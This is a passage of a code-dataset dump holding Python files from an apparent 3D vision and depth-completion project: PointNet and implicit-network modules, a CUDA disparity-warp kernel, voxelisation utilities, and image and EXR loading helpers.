public dataset ###\n\ndef imread_indexed(filename):\n \"\"\" Load segmentation image (with palette) given filename.\"\"\"\n im = Image.open(filename)\n annotation = np.array(im)\n return annotation\n\ndef imwrite_indexed(filename, array, palette_path):\n \"\"\" Save indexed png with palette.\"\"\"\n color_palette = np.loadtxt(palette_path, dtype=np.uint8).reshape(-1,3)\n\n if np.atleast_3d(array).shape[2] != 1:\n raise Exception(\"Saving indexed PNGs requires 2D array.\")\n\n im = Image.fromarray(array)\n im.putpalette(color_palette.ravel())\n im.save(filename, format='PNG')\n\n\n", "id": "403002", "language": "Python", "matching_score": 0.27987951040267944, "max_stars_count": 34, "path": "src/utils/seg_utils.py" }, { "content": "import numpy as np\r\n\r\n\r\ndef save_point_cloud(xyz, color, file_path):\r\n assert xyz.shape[0] == color.shape[0]\r\n assert xyz.shape[1] == color.shape[1] == 3\r\n ply_file = open(file_path, 'w')\r\n ply_file.write('ply\\n')\r\n ply_file.write('format ascii 1.0\\n')\r\n ply_file.write('element vertex {}\\n'.format(xyz.shape[0]))\r\n ply_file.write('property float x\\n')\r\n ply_file.write('property float y\\n')\r\n ply_file.write('property float z\\n')\r\n ply_file.write('property uchar red\\n')\r\n ply_file.write('property uchar green\\n')\r\n ply_file.write('property uchar blue\\n')\r\n ply_file.write('end_header\\n')\r\n for i in range(xyz.shape[0]):\r\n ply_file.write('{:.3f} {:.3f} {:.3f} {} {} {}\\n'.format(\r\n xyz[i,0], xyz[i,1], xyz[i,2],\r\n color[i,0], color[i,1], color[i,2]\r\n )\r\n )", "id": "11734673", "language": "Python", "matching_score": 0.51734459400177, "max_stars_count": 34, "path": "src/utils/vis_utils.py" }, { "content": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch_scatter import scatter, scatter_softmax, scatter_max, scatter_log_softmax\n\n\nclass PointNet2Stage(nn.Module):\n def __init__(self, input_channels=6, output_channels=256, gf_dim=64):\n super(PointNet2Stage, self).__init__()\n self.input_channels = input_channels\n self.gf_dim = gf_dim\n\n self.point_lin1 = nn.Linear(self.input_channels, self.gf_dim, bias=True)\n self.point_lin2 = nn.Linear(self.gf_dim, output_channels//2, bias=True)\n self.vox_lin1 = nn.Linear(output_channels//2, output_channels//2, bias=True)\n \n self.point_lin3 = nn.Linear(output_channels, output_channels, bias=True)\n self.point_lin4 = nn.Linear(output_channels, output_channels, bias=True)\n self.vox_lin2 = nn.Linear(output_channels, output_channels, bias=True)\n\n\n def forward(self, inp_feat, vox2point_idx):\n # per point features\n point_feat1 = F.relu(self.point_lin1(inp_feat), inplace=True)\n point_feat2 = F.relu(self.point_lin2(point_feat1), inplace=True)\n # maxpool point feats inside each occupied voxel to get occ_voxel feat\n occ_voxel_feat = scatter(point_feat2, vox2point_idx, dim=0, reduce='max')\n occ_voxel_feat = F.relu(self.vox_lin1(occ_voxel_feat), inplace=True)\n # append vox feat to point feat\n point_global_feat = occ_voxel_feat[vox2point_idx]\n point_feat3 = torch.cat((point_global_feat,point_feat2),-1)\n point_feat4 = F.relu(self.point_lin3(point_feat3))\n point_feat5 = F.relu(self.point_lin4(point_feat4))\n # maxpool point feats inside each occupied voxel to get occ_voxel feat\n occ_voxel_feat2 = scatter(point_feat5, vox2point_idx, dim=0, reduce='max')\n occ_voxel_feat2 = F.relu(self.vox_lin2(occ_voxel_feat2))\n\n return occ_voxel_feat2\n\n\nclass Bilinear(nn.Module):\n def __init__(self, linear_chans):\n super(Bilinear, self).__init__()\n self.linear_module1 = nn.Sequential(\n nn.Linear(linear_chans, linear_chans),\n # nn.BatchNorm1d(linear_chans),\n nn.ReLU(),\n nn.Dropout()\n )\n self.linear_module2 = nn.Sequential(\n nn.Linear(linear_chans, linear_chans),\n # nn.BatchNorm1d(linear_chans),\n nn.ReLU(),\n nn.Dropout()\n )\n\n def forward(self,inp):\n hidden1 = self.linear_module1(inp)\n hidden2 = self.linear_module2(hidden1)\n out = hidden2 + inp\n return out\n\nclass PointNetRefine(nn.Module):\n def __init__(self, input_channels=6, output_channels=128):\n super(PointNetRefine, self).__init__()\n self.pred_pos_enc = PointNetSimple(input_channels=input_channels, output_channels=output_channels)\n self.bilin1 = Bilinear(linear_chans=output_channels*2)\n self.bilin2 = Bilinear(linear_chans=output_channels*2)\n self.final_lin = nn.Linear(output_channels*2, output_channels)\n\n def forward(self, pred_inp, intersect_voxel_feat_end):\n pred_feat = self.pred_pos_enc(pred_inp)\n out = torch.cat((pred_feat, intersect_voxel_feat_end),1)\n out = self.bilin1(out)\n out = self.bilin2(out)\n out = self.final_lin(out)\n return out\n\n\n", "id": "4719795", "language": "Python", "matching_score": 2.139533758163452, "max_stars_count": 34, "path": "src/models/pointnet.py" }, { "content": "import torch\r\ntorch.autograd.set_detect_anomaly(True)\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport numpy as np\r\n\r\n\r\n# Positional encoding (section 5.1)\r\nclass Embedder:\r\n def __init__(self, **kwargs):\r\n self.kwargs = kwargs\r\n self.create_embedding_fn()\r\n \r\n def create_embedding_fn(self):\r\n embed_fns = []\r\n d = self.kwargs['input_dims']\r\n out_dim = 0\r\n if self.kwargs['include_input']:\r\n embed_fns.append(lambda x : x)\r\n out_dim += d\r\n \r\n max_freq = self.kwargs['max_freq_log2']\r\n N_freqs = self.kwargs['num_freqs']\r\n \r\n if self.kwargs['log_sampling']:\r\n freq_bands = 2.**torch.linspace(0., max_freq, steps=N_freqs)\r\n else:\r\n freq_bands = torch.linspace(2.**0., 2.**max_freq, steps=N_freqs)\r\n \r\n for freq in freq_bands:\r\n for p_fn in self.kwargs['periodic_fns']:\r\n embed_fns.append(lambda x, p_fn=p_fn, freq=freq : p_fn(x * freq))\r\n out_dim += d\r\n \r\n self.embed_fns = embed_fns\r\n self.out_dim = out_dim\r\n \r\n def embed(self, inputs):\r\n return torch.cat([fn(inputs) for fn in self.embed_fns], -1)\r\n\r\n\r\ndef get_embedder(multires, i=0):\r\n if i == -1:\r\n return nn.Identity(), 3\r\n \r\n embed_kwargs = {\r\n 'include_input' : True,\r\n 'input_dims' : 3,\r\n 'max_freq_log2' : multires-1,\r\n 'num_freqs' : multires,\r\n 'log_sampling' : True,\r\n 'periodic_fns' : [torch.sin, torch.cos],\r\n }\r\n \r\n embedder_obj = Embedder(**embed_kwargs)\r\n embed = lambda x, eo=embedder_obj : eo.embed(x)\r\n return embed, embedder_obj.out_dim\r\n\r\n\r\nclass IMNet(nn.Module):\r\n def __init__(self, inp_dim, out_dim, gf_dim=64, use_sigmoid=False):\r\n super(IMNet, self).__init__()\r\n self.inp_dim = inp_dim\r\n self.gf_dim = gf_dim\r\n self.use_sigmoid = use_sigmoid\r\n self.linear_1 = nn.Linear(self.inp_dim, self.gf_dim*4, bias=True)\r\n self.linear_2 = nn.Linear(self.gf_dim*4, self.gf_dim*2, bias=True)\r\n self.linear_3 = nn.Linear(self.gf_dim*2, self.gf_dim*1, bias=True)\r\n self.linear_4 = nn.Linear(self.gf_dim*1, out_dim, bias=True)\r\n if self.use_sigmoid:\r\n self.sigmoid = nn.Sigmoid()\r\n nn.init.normal_(self.linear_1.weight, mean=0.0, std=0.02)\r\n nn.init.constant_(self.linear_1.bias,0)\r\n nn.init.normal_(self.linear_2.weight, mean=0.0, std=0.02)\r\n nn.init.constant_(self.linear_2.bias,0)\r\n nn.init.normal_(self.linear_3.weight, mean=0.0, std=0.02)\r\n nn.init.constant_(self.linear_3.bias,0)\r\n nn.init.normal_(self.linear_4.weight, mean=1e-5, std=0.02)\r\n nn.init.constant_(self.linear_4.bias,0)\r\n\r\n def forward(self, inp_feat):\r\n l1 = self.linear_1(inp_feat)\r\n l1 = F.leaky_relu(l1, negative_slope=0.02, inplace=True)\r\n\r\n l2 = self.linear_2(l1)\r\n l2 = F.leaky_relu(l2, negative_slope=0.02, inplace=True)\r\n\r\n l3 = self.linear_3(l2)\r\n l3 = F.leaky_relu(l3, negative_slope=0.02, inplace=True)\r\n\r\n l4 = self.linear_4(l3)\r\n \r\n if self.use_sigmoid:\r\n l4 = self.sigmoid(l4)\r\n else:\r\n l4 = torch.max(torch.min(l4, l4*0.01+0.99), l4*0.01)\r\n \r\n return l4\r\n\r\nclass IEF(nn.Module):\r\n def __init__(self, device, inp_dim, out_dim, gf_dim=64, n_iter=3, use_sigmoid=False):\r\n super(IEF, self).__init__()\r\n self.device = device\r\n self.init_offset = torch.Tensor([0.001]).float().to(self.device)\r\n self.inp_dim = inp_dim\r\n self.gf_dim = gf_dim\r\n self.n_iter = n_iter\r\n self.use_sigmoid = use_sigmoid\r\n self.offset_enc = nn.Linear(1, 16, bias=True)\r\n self.linear_1 = nn.Linear(self.inp_dim+16, self.gf_dim*4, bias=True)\r\n self.linear_2 = nn.Linear(self.gf_dim*4, self.gf_dim*2, bias=True)\r\n self.linear_3 = nn.Linear(self.gf_dim*2, self.gf_dim*1, bias=True)\r\n self.linear_4 = nn.Linear(self.gf_dim*1, out_dim, bias=True)\r\n if self.use_sigmoid:\r\n self.sigmoid = nn.Sigmoid()\r\n\r\n nn.init.normal_(self.offset_enc.weight, mean=0.0, std=0.02)\r\n nn.init.constant_(self.offset_enc.bias,0)\r\n nn.init.normal_(self.linear_1.weight, mean=0.0, std=0.02)\r\n nn.init.constant_(self.linear_1.bias,0)\r\n nn.init.normal_(self.linear_2.weight, mean=0.0, std=0.02)\r\n nn.init.constant_(self.linear_2.bias,0)\r\n nn.init.normal_(self.linear_3.weight, mean=0.0, std=0.02)\r\n nn.init.constant_(self.linear_3.bias,0)\r\n nn.init.normal_(self.linear_4.weight, mean=1e-5, std=0.02)\r\n nn.init.constant_(self.linear_4.bias,0)\r\n\r\n\r\n def forward(self, inp_feat):\r\n batch_size = inp_feat.shape[0]\r\n # iterative update\r\n pred_offset = self.init_offset.expand(batch_size, -1)\r\n for i in range(self.n_iter):\r\n offset_feat = self.offset_enc(pred_offset)\r\n xc = torch.cat([inp_feat,offset_feat],1)\r\n l1 = self.linear_1(xc)\r\n l1 = F.leaky_relu(l1, negative_slope=0.02, inplace=True)\r\n\r\n l2 = self.linear_2(l1)\r\n l2 = F.leaky_relu(l2, negative_slope=0.02, inplace=True)\r\n\r\n l3 = self.linear_3(l2)\r\n l3 = F.leaky_relu(l3, negative_slope=0.02, inplace=True)\r\n\r\n l4 = self.linear_4(l3)\r\n pred_offset = pred_offset + l4\r\n \r\n if self.use_sigmoid:\r\n pred_offset = self.sigmoid(pred_offset)\r\n else:\r\n pred_offset = torch.max(torch.min(pred_offset, pred_offset*0.01+0.99), pred_offset*0.01)\r\n return pred_offset\r\n", "id": "1043854", "language": "Python", "matching_score": 0.8822211623191833, "max_stars_count": 34, "path": "src/models/implicit_net.py" }, { "content": "import torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\n\r\ndef Adam(params, lr, **kwargs):\r\n\treturn optim.Adam(params, lr = lr, **kwargs)\r\n\r\ndef RMSprop(params, lr, **kwargs):\r\n\treturn optim.RMSprop(params, lr = lr, **kwargs)\r\n\r\ndef SGD(params, lr, **kwargs):\r\n\treturn optim.SGD(params, lr = lr, **kwargs)\r\n\r\ndef LBFGS(params, lr, **kwargs):\r\n\toptim.LBFGS(params, lr = lr, **kwargs)", "id": "2598314", "language": "Python", "matching_score": 0.001835955074056983, "max_stars_count": 34, "path": "src/utils/optimizer_utils.py" }, { "content": "from torch.utils.cpp_extension import load\nray_aabb = load(\n 'ray_aabb', ['extensions/ray_aabb/ray_aabb_cuda.cpp', 'extensions/ray_aabb/ray_aabb_cuda_kernel.cu'], verbose=True)\n# help(ray_aabb)\n", "id": "2583872", "language": "Python", "matching_score": 1.6190379858016968, "max_stars_count": 34, "path": "src/extensions/ray_aabb/jit.py" }, { "content": "from torch.utils.cpp_extension import load\npcl_aabb = load(\n 'pcl_aabb', ['extensions/pcl_aabb/pcl_aabb_cuda.cpp', 'extensions/pcl_aabb/pcl_aabb_cuda_kernel.cu'], verbose=True)\n# help(pcl_aabb)\n", "id": "3180558", "language": "Python", "matching_score": 0.24908435344696045, "max_stars_count": 34, "path": "src/extensions/pcl_aabb/jit.py" }, { "content": "# Apply fast disparity warping on GPU\n#\n# By Jet <<EMAIL>>, MAR 2021\n#\nimport torch\nfrom cupy.cuda import function\nfrom pynvrtc.compiler import Program\nfrom collections import namedtuple\nfrom typing import Callable, Optional\n\n_apply_disparity_func_pos: Optional[Callable] = None\n_apply_disparity_func_neg: Optional[Callable] = None\n\n\ndef _build_cuda_kernels():\n global _apply_disparity_func_pos\n global _apply_disparity_func_neg\n\n _apply_disparity_pos_kernel = '''\n extern \"C\" {\n __global__ void apply_disparity_pos(\n float *dst, const float *src, const int *disp, int h, int w, int c, int total_l) {\n int i = blockIdx.x * blockDim.x + threadIdx.x;\n if (i >= total_l)\n return;\n int dbase = (i/h/c*h+i%h)*w;\n for (int j = w - 1; j >=0; j--) {\n int idx = j + disp[dbase+j];\n if (idx < w)\n dst[i*w+idx] = src[i*w+j];\n }\n }\n __global__ void apply_disparity_neg(\n float *dst, const float *src, const int *disp, int h, int w, int c, int total_l) {\n int i = blockIdx.x * blockDim.x + threadIdx.x;\n if (i >= total_l)\n return;\n int dbase = (i/h/c*h+i%h)*w;\n for (int j = 0; j < w; j++) {\n int idx = j + disp[dbase+j];\n if (idx > -1)\n dst[i*w+idx] = src[i*w+j];\n }\n }\n }\n '''\n program = Program(\n _apply_disparity_pos_kernel, 'apply_disparity.cu')\n m = function.Module()\n m.load(bytes(program.compile().encode()))\n _apply_disparity_func_pos = m.get_function('apply_disparity_pos')\n _apply_disparity_func_neg = m.get_function('apply_disparity_neg')\n\n\ndef apply_disparity_cu(img: torch.Tensor, disp: torch.Tensor):\n \"\"\"\n Apply disparity using jit cuda ops.\n\n :param img: tensor needed warping. (N, C, H, W)\n :param disp: (N, H, W) or (N, 1, H, W)\n :return:\n \"\"\"\n\n # load kernel if haven't\n if _apply_disparity_func_neg is None \\\n or _apply_disparity_func_neg is None:\n _build_cuda_kernels()\n\n # tensor check\n assert img.is_contiguous() and disp.is_contiguous()\n assert img.device.type == disp.device.type == 'cuda'\n assert disp.dtype == torch.int\n\n if torch.all(disp >= 0):\n warp_fn = _apply_disparity_func_pos\n else:\n assert torch.all(disp <= 0)\n warp_fn = _apply_disparity_func_neg\n\n # send data to cuda ops\n stream = namedtuple('Stream', ['ptr'])\n s = stream(ptr=torch.cuda.current_stream().cuda_stream)\n\n ret = torch.zeros_like(img)\n\n b, c, h, w = img.shape\n total_l = b * c * h\n grid_size = total_l // 512 + 1\n warp_fn(\n stream=s, grid=(grid_size, 1, 1), block=(512, 1, 1),\n args=[ret.data_ptr(), img.data_ptr(), disp.data_ptr(), h, w, c, total_l]\n )\n\n return ret\n\n", "id": "9806015", "language": "Python", "matching_score": 1.1879596710205078, "max_stars_count": 0, "path": "warp_ops.py" }, { "content": "import os\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits import mplot3d\n\nimport torch\nimport torch.nn.functional as F\nimport constants\n\n\ndef batch_get_occupied_idx(v, batch_id,\n xmin=(0., 0., 0.),\n xmax=(1., 1., 1.),\n crop_size=.125, overlap=False):\n\n if not torch.is_tensor(xmin):\n xmin = torch.Tensor(xmin).float().to(v.device)\n if not torch.is_tensor(xmax):\n xmax = torch.Tensor(xmax).float().to(v.device)\n # get coords of valid point w.r.t full global grid\n v = v.clone()-xmin.unsqueeze(0)\n # get resolution of voxel grids\n r = torch.ceil((xmax-xmin)/crop_size)\n # if overlap, we need to add r-1 voxel cells in between\n rr = r.long() if not overlap else (2*r-1).long()\n\n # create index grid\n idx_grid = torch.stack(torch.meshgrid(torch.arange(rr[0]),\n torch.arange(rr[1]),\n torch.arange(rr[2])), dim=-1).to(v.device)\n\n # shift_idxs for each overlapping grid: shape (1, 1, 3) for non-overlap; (1, 8, 3) for overlap after reshaping \n shift_idxs = torch.stack(\n torch.meshgrid(torch.arange(int(overlap)+1),\n torch.arange(int(overlap)+1),\n torch.arange(int(overlap)+1)), dim=-1).to(v.device)\n shift_idxs = shift_idxs.reshape(-1,3).unsqueeze(0)\n\n # get coords of valid point w.r.t each overlapping voxel grid. (np,1 or 8,3)\n v_xyz = v.unsqueeze(1) - shift_idxs * crop_size * 0.5\n v_xmin = v.unsqueeze(1).repeat(1,shift_idxs.shape[1],1)\n # get local voxel coord of voxel of valid point. (np, 1 or 8, 3)\n v_local_coord = torch.floor(v_xyz / crop_size).long()\n # get global voxel coord of voxel of valid point. (np, 1 or 8,3)\n if overlap:\n v_global_coord = 2 * v_local_coord + shift_idxs\n v_voxel_center = v_global_coord * crop_size * 0.5 + 0.5 * crop_size\n else:\n v_global_coord = v_local_coord.clone()\n v_voxel_center = v_global_coord * crop_size + 0.5 * crop_size\n v_rel_coord = v_xmin - v_voxel_center\n # get batch id of voxel of valid point. (np, 1 or 8, 1)\n v_bid = batch_id.clone().unsqueeze(1).repeat(1,shift_idxs.shape[1],1)\n # we need to build a valid point id tensor so that we can accumulate the features from valid points\n v_pid = torch.arange(v_global_coord.shape[0]).to(v.device)\n v_pid = v_pid.unsqueeze(-1).repeat(1,v_global_coord.shape[1]).unsqueeze(-1).long()\n # check if every voxel of valid point is inside the full global grid.\n valid_mask = torch.ones(v_global_coord.shape[0], v_global_coord.shape[1]).bool().to(v.device)\n for i in range(3):\n valid_mask = torch.logical_and(valid_mask, v_global_coord[:,:, i] >= 0)\n valid_mask = torch.logical_and(valid_mask, v_global_coord[:,:, i] < idx_grid.shape[i])\n # the global voxel coord of valid voxel of valid point, (valid_vox_num, 3)\n valid_v_global_coord = v_global_coord[valid_mask]\n # the valid point index of valid voxel of valid point, (valid_vox_num, 1)\n valid_v_pid = v_pid[valid_mask]\n # the batch id of valid voxel of valid point, (valid_vox_num, 1)\n valid_v_bid = v_bid[valid_mask]\n valid_v_rel_coord = v_rel_coord[valid_mask]\n # concatenate batch id and point grid index before using unique. This step is necessary as we want to make sure\n # same grid index from diff batch id will not be filtered\n valid_v_bid_global_coord = torch.cat((valid_v_bid, valid_v_global_coord), dim=-1)\n # using torch.unique to get occupied voxel coord, and a reverse index. \n # occ_bid_global_coord[revidx] = valid_v_bid_global_coord\n occ_bid_global_coord, revidx = torch.unique(valid_v_bid_global_coord, dim=0, return_inverse=True)\n return occ_bid_global_coord, revidx, valid_v_pid.reshape(-1), valid_v_rel_coord, idx_grid\n\n \ndef sample_valid_points(valid_mask, sample_num, block_x=8, block_y=8):\n bs,h,w = valid_mask.shape\n assert h % block_y == 0\n assert w % block_x == 0\n # reshape valid mask to make sure non zero returns in the block order other than column order.\n valid_mask = valid_mask.reshape(bs,h//block_y,block_y,w).permute(0,1,3,2).contiguous()\n valid_mask = valid_mask.reshape(bs,h//block_y,w//block_x,block_x,block_y).permute(0,1,2,4,3).contiguous()\n valid_idx = torch.nonzero(valid_mask, as_tuple=False)\n valid_bid = valid_idx[:,0]\n # since nonzero return in c seq. we can make sure valid_bid is sorted\n # use torch.unique_consecutive to avoid sorting\n _, example_cnt = torch.unique_consecutive(valid_bid, return_counts=True)\n bid_interval = torch.cumsum(example_cnt,0)\n bid_interval = torch.cat((torch.Tensor([0]).long().to(valid_mask.device), bid_interval),0)\n # Now we use for loop over batch dim. can be accelerated by cuda kernal\n tmp_list = []\n for i in range(bid_interval.shape[0]-1):\n sid = bid_interval[i]\n eid = bid_interval[i+1]\n cur_cnt = eid - sid\n if cur_cnt < sample_num:\n mult = np.ceil(float(sample_num)/float(cur_cnt)) - 1\n cur_points_idx = torch.arange(sid,eid).long().to(valid_mask.device)\n rand_pool = cur_points_idx.repeat(int(mult))\n nextra = sample_num - cur_cnt\n rand_pool_idx = np.random.choice(rand_pool.shape[0], nextra, replace=False)\n extra_idx = rand_pool[rand_pool_idx]\n sample_idx = torch.cat([cur_points_idx, extra_idx], dim=0)\n else:\n sample_step = cur_cnt // sample_num\n interval_num = cur_cnt // sample_step\n sample_offset = torch.randint(low=0,high=sample_step,size=(interval_num,)).to(valid_mask.device)\n sample_idx = sid + sample_offset + sample_step * torch.arange(interval_num).long().to(valid_mask.device)\n if sample_num <= sample_idx.shape[0]:\n tmp_idx = torch.randperm(sample_idx.shape[0])[:sample_num].long().to(valid_mask.device)\n sample_idx = sample_idx[tmp_idx]\n else:\n raise ValueError('Should be samller')\n \n tmp_list.append(valid_idx[sample_idx])\n sampled_valid_idx = torch.cat(tmp_list,0)\n sampled_flat_img_id = (sampled_valid_idx[:,1] * block_y + sampled_valid_idx[:,3]) * w \\\n + sampled_valid_idx[:,2] * block_x + sampled_valid_idx[:,4]\n sampled_bid = sampled_valid_idx[:,0]\n sampled_valid_idx = torch.stack((sampled_bid,sampled_flat_img_id),-1)\n assert sampled_valid_idx.shape[0] == bs * sample_num\n return sampled_valid_idx\n\n\ndef vis_voxel(occ_vox_bid, valid_bid, miss_bid, valid_xyz, valid_rgb,\n overlap, align, xmin, part_size, occ_vox_global_coord, mask, dst_path, cur_bid=0):\n\n ''' visualize and save data '''\n\n # steup matplotlib figure\n fig = plt.figure(figsize=(12.8, 9.6))\n ax = plt.axes(projection='3d')\n if not align:\n ax.set_xlabel('x')\n ax.set_ylabel('z')\n ax.set_zlabel('y')\n plt.gca().invert_zaxis()\n else:\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('z')\n\n # draw voxels, be careful about yz swap\n def draw_voxels(bound, ax, color='b'):\n from itertools import product, combinations\n for cur_bound in bound:\n xlim = cur_bound[0].tolist()\n ylim = cur_bound[1].tolist()\n zlim = cur_bound[2].tolist()\n for s, e in combinations(np.array(list(product(xlim, ylim, zlim))), 2):\n if np.sum(np.abs(s-e)) == xlim[1]-xlim[0]:\n ax.plot3D(*zip(s, e), color=color)\n \n # transform from int voxel coord to float cam coord\n if overlap:\n bound_min = xmin.unsqueeze(0) + occ_vox_global_coord * part_size * 0.5\n else:\n bound_min = xmin.unsqueeze(0) + occ_vox_global_coord * part_size\n bound_max = bound_min + part_size\n if not align:\n bound_min = torch.cat((bound_min[:,0:1],bound_min[:,2:3],bound_min[:,1:2]),-1)\n bound_max = torch.cat((bound_max[:,0:1],bound_max[:,2:3],bound_max[:,1:2]),-1)\n\n\n # get idx of occ voxels whose bid=cur_bid, in all occ voxels among minibatch\n occ_vox_bid_mask = (occ_vox_bid == cur_bid)\n occ_curbid_idx = torch.nonzero(occ_vox_bid_mask,as_tuple=False).reshape(-1)\n # get idx of occ voxels who intersect with at least one ray, in all occ voxels among minibatch\n occ_vox_intersect_mask = (torch.sum(mask,1) != 0)\n occ_vox_mask = torch.logical_and(occ_vox_bid_mask, occ_vox_intersect_mask)\n occ_intersect_curbid_idx = torch.nonzero(occ_vox_mask, as_tuple=False).reshape(-1)\n\n # draw occupied and intersected voxels\n occ_curbid_bound_min = np.expand_dims(bound_min[occ_curbid_idx].cpu().numpy(),-1)\n occ_curbid_bound_max = np.expand_dims(bound_max[occ_curbid_idx].cpu().numpy(),-1)\n occ_curbid_bound = np.concatenate((occ_curbid_bound_min,occ_curbid_bound_max),-1)\n draw_voxels(occ_curbid_bound, ax, color='r')\n\n # draw occupied and intersected voxels\n occ_intersect_curbid_bound_min = np.expand_dims(bound_min[occ_intersect_curbid_idx].cpu().numpy(),-1)\n occ_intersect_curbid_bound_max = np.expand_dims(bound_max[occ_intersect_curbid_idx].cpu().numpy(),-1)\n occ_intersect_curbid_bound = np.concatenate((occ_intersect_curbid_bound_min,occ_intersect_curbid_bound_max),-1)\n draw_voxels(occ_intersect_curbid_bound, ax, color='b')\n\n # get valid xyz and color of current example\n valid_curbid_idx = torch.nonzero(valid_bid == cur_bid,as_tuple=False).reshape(-1)\n valid_xyz_curbid = valid_xyz[valid_curbid_idx].cpu().numpy()\n valid_rgb_curbid = valid_rgb[valid_curbid_idx].cpu().numpy()\n mean=np.array(constants.IMG_MEAN).reshape(1,-1)\n std=np.array(constants.IMG_NORM).reshape(1,-1)\n valid_rgb_curbid = valid_rgb_curbid * std + mean\n\n if not align:\n valid_xyz_curbid = np.concatenate((valid_xyz_curbid[:,0:1],valid_xyz_curbid[:,2:3],valid_xyz_curbid[:,1:2]),-1)\n\n # be careful about yz swap\n xs = valid_xyz_curbid[:,0]\n ys = valid_xyz_curbid[:,1]\n zs = valid_xyz_curbid[:,2]\n c = np.clip(valid_rgb_curbid,0,1)\n ax.scatter(xs, ys, zs, s=1, c=c)\n\n plt.savefig(dst_path)\n plt.close(fig)\n\n\ndef gradient(x):\n # idea from tf.image.image_gradients(image)\n # https://github.com/tensorflow/tensorflow/blob/r2.1/tensorflow/python/ops/image_ops_impl.py#L3441-L3512\n # x: (b,c,h,w), float32 or float64\n # dx, dy: (b,c,h,w)\n\n # gradient step=1\n left = x\n right = F.pad(x, [0, 1, 0, 0])[:, :, :, 1:]\n top = x\n bottom = F.pad(x, [0, 0, 0, 1])[:, :, 1:, :]\n\n # dx, dy = torch.abs(right - left), torch.abs(bottom - top)\n dx, dy = right - left, bottom - top \n # dx will always have zeros in the last column, right-left\n # dy will always have zeros in the last row, bottom-top\n dx[:, :, :, -1] = 0\n dy[:, :, -1, :] = 0\n\n return dx, dy\n\ndef get_surface_normal(x):\n dx,dy = gradient(x)\n surface_normal = torch.cross(dx, dy, dim=1)\n surface_normal = surface_normal / (torch.norm(surface_normal,dim=1,keepdim=True)+1e-8)\n return surface_normal, dx, dy", "id": "8371859", "language": "Python", "matching_score": 1.9480780363082886, "max_stars_count": 34, "path": "src/utils/point_utils.py" }, { "content": "import torch\nimport random\nimport numpy as np\nimport numbers\nimport OpenEXR, Imath\nfrom PIL import Image # PyTorch likes PIL instead of cv2\nimport cv2\nimport imgaug as ia\nimport imgaug.augmenters as iaa\nimport utils.seg_utils as seg_utils\nimport constants\n\n\n##### Useful Utilities #####\n\ndef exr_loader(exr_path, ndim=3):\n \"\"\"Loads a .exr file as a numpy array\n Args:\n exr_path: path to the exr file\n ndim: number of channels that should be in returned array. Valid values are 1 and 3.\n if ndim=1, only the 'R' channel is taken from exr file\n if ndim=3, the 'R', 'G' and 'B' channels are taken from exr file.\n The exr file must have 3 channels in this case.\n Returns:\n numpy.ndarray (dtype=np.float32): If ndim=1, shape is (height x width)\n If ndim=3, shape is (3 x height x width)\n \"\"\"\n\n exr_file = OpenEXR.InputFile(exr_path)\n cm_dw = exr_file.header()['dataWindow']\n size = (cm_dw.max.x - cm_dw.min.x + 1, cm_dw.max.y - cm_dw.min.y + 1)\n\n pt = Imath.PixelType(Imath.PixelType.FLOAT)\n\n if ndim == 3:\n # read channels indivudally\n allchannels = []\n for c in ['R', 'G', 'B']:\n # transform data to numpy\n channel = np.frombuffer(exr_file.channel(c, pt), dtype=np.float32)\n channel.shape = (size[1], size[0])\n allchannels.append(channel)\n\n # create array and transpose dimensions to match tensor style\n exr_arr = np.array(allchannels).transpose((0, 1, 2))\n return exr_arr\n\n if ndim == 1:\n # transform data to numpy\n channel = np.frombuffer(exr_file.channel('R', pt), dtype=np.float32)\n channel.shape = (size[1], size[0]) # Numpy arrays are (row, col)\n exr_arr = np.array(channel)\n return exr_arr\n\ndef compute_xyz(depth_img, camera_params):\n \"\"\" Compute ordered point cloud from depth image and camera parameters.\n\n If focal lengths fx,fy are stored in the camera_params dictionary, use that.\n Else, assume camera_params contains parameters used to generate synthetic data (e.g. fov, near, far, etc)\n\n @param depth_img: a [H x W] numpy array of depth values in meters\n @param camera_params: a dictionary with parameters of the camera used \n \"\"\"\n\n # Compute focal length from camera parameters\n fx = camera_params['fx']\n fy = camera_params['fy']\n x_offset = camera_params['cx']\n y_offset = camera_params['cy']\n indices = seg_utils.build_matrix_of_indices(camera_params['yres'], camera_params['xres'])\n z_e = depth_img\n x_e = (indices[..., 1] - x_offset) * z_e / fx\n y_e = (indices[..., 0] - y_offset) * z_e / fy\n xyz_img = np.stack([x_e, y_e, z_e], axis=-1) # Shape: [H x W x 3]\n return xyz_img\n\ndef array_to_tensor(array):\n \"\"\" Converts a numpy.ndarray (N x H x W x C) to a torch.FloatTensor of shape (N x C x H x W)\n OR\n converts a nump.ndarray (H x W x C) to a torch.FloatTensor of shape (C x H x W)\n \"\"\"\n\n if array.ndim == 4: # NHWC\n tensor = torch.from_numpy(array).permute(0,3,1,2).float()\n elif array.ndim == 3: # HWC\n tensor = torch.from_numpy(array).permute(2,0,1).float()\n else: # everything else\n tensor = torch.from_numpy(array).float()\n\n return tensor\n\n\n\n##### Depth Augmentations #####\ndef dropout_random_ellipses_4corruptmask(mask, noise_params):\n \"\"\" Randomly drop a few ellipses in the image for robustness.\n This is adapted from the DexNet 2.0 codebase.\n Their code: https://github.com/BerkeleyAutomation/gqcnn/blob/75040b552f6f7fb264c27d427b404756729b5e88/gqcnn/sgd_optimizer.py\n\n @param depth_img: a [H x W] set of depth z values\n \"\"\"\n dropout_mask = mask.copy()\n\n # Sample number of ellipses to dropout\n num_ellipses_to_dropout = np.random.poisson(noise_params['ellipse_dropout_mean'])\n\n # Sample ellipse centers\n zero_pixel_indices = np.array(np.where(dropout_mask == 0)).T # Shape: [#nonzero_pixels x 2]\n dropout_centers_indices = np.random.choice(zero_pixel_indices.shape[0], size=num_ellipses_to_dropout)\n dropout_centers = zero_pixel_indices[dropout_centers_indices, :] # Shape: [num_ellipses_to_dropout x 2]\n\n # Sample ellipse radii and angles\n x_radii = np.random.gamma(noise_params['ellipse_gamma_shape'], noise_params['ellipse_gamma_scale'], size=num_ellipses_to_dropout)\n y_radii = np.random.gamma(noise_params['ellipse_gamma_shape'], noise_params['ellipse_gamma_scale'], size=num_ellipses_to_dropout)\n angles = np.random.randint(0, 360, size=num_ellipses_to_dropout)\n\n # Dropout ellipses\n for i in range(num_ellipses_to_dropout):\n center = dropout_centers[i, 